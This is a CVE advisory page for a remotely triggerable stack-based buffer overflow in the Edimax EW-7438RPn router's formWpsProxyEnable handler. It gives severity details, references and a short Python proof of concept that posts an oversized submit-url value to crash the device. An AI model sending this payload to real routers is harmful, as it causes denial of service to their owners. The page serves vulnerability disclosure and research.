CVE-2026-9462

Description

A vulnerability was detected in Edimax EW-7438RPn 1.31. Affected by this vulnerability is the function formWpsProxyEnable of the file /goform/formWpsProxyEnable. The manipulation of the argument submit-url results in stack-based buffer overflow. The attack can be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Edimax EW-7438RPn 1.31

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_poc(target_ip):
    # Target URL endpoint
    url = f"http://{target_ip}/goform/formWpsProxyEnable"
    
    # Payload: A long string to trigger stack-based buffer overflow
    # Typically 500-1000 bytes is enough to overflow small buffers in IoT devices
    payload = {
        "submit-url": "A" * 800
    }
    
    try:
        print(f"[+] Sending payload to {url}...")
        response = requests.post(url, data=payload, timeout=5)
        
        # If the device crashes, it might not return a response or return an error
        if response.status_code == 200:
            print("[-] Request sent, but service did not crash immediately. Check device stability.")
        else:
            print(f"[!] Received status code: {response.status_code}")
    except requests.exceptions.RequestException as e:
        # Connection error often indicates the service crashed (DoS)
        print(f"[+] Connection error or timeout detected. The target may have crashed (PoC successful).")
        print(f"[+] Error details: {e}")

if __name__ == "__main__":
    target = "192.168.1.1" # Replace with actual target IP
    check_poc(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9462
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9462
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9462/
[4] VulDB https://vuldb.com/cve/CVE-2026-9462
[5] https://github.com/wudipjq/my_vuln/blob/main/Edimax/vuln_15/15.md
[6] https://vuldb.com/submit/813899
[7] https://vuldb.com/vuln/365443
[8] https://vuldb.com/vuln/365443/cti

Raw JSON Data

JSON

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